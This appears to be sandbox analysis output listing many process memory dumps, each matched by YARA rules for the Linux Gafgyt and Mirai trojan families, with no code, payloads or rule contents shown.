Source: 6683.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6683.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7030.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7030.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6252.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6252.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6812.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6812.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7008.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7008.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7035.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7035.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6588.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6588.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7154.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7154.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6915.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6915.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6775.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6775.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6910.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6910.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6968.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6968.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7026.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7026.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6777.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6777.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6564.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6564.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7382.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7382.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6897.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6897.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7397.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7397.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7193.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7193.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6700.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6700.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7024.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7024.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6323.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6323.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7210.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7210.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6453.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6453.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7332.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7332.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6639.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6639.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7018.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7018.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6992.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6992.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7396.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7396.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6418.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6418.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7121.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7121.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6583.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6583.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6668.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6668.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6644.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6644.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6273.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6273.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6276.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6276.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6994.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6994.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6358.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6358.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7181.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7181.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6732.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6732.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7287.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7287.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6486.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6486.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6574.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6574.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7367.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7367.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7228.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7228.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6374.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6374.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6761.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6761.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7259.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7259.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7069.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7069.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6920.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6920.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6632.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6632.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7170.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7170.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6261.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6261.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6519.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6519.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6998.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6998.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7349.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7349.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7055.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7055.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6244.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6244.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6584.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6584.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6291.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6291.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6750.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6750.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7180.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7180.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7052.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7052.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7323.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7323.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7145.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7145.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7127.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7127.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6739.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6739.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6306.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6306.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6854.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6854.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7402.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7402.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7125.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7125.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6981.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6981.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7383.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7383.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6763.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6763.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7275.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7275.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6892.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6892.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6426.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6426.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6749.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6749.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6913.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6913.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7361.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7361.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7059.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7059.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6947.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6947.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7244.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7244.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7211.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7211.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6498.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6498.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6503.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6503.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7411.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7411.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6949.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6949.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6725.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6725.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7407.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7407.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6656.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6656.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6233.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6233.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6286.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6286.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7281.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7281.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6779.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6779.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6769.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6769.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6313.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6313.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6921.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6921.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7002.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7002.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6336.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6336.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7295.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7295.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
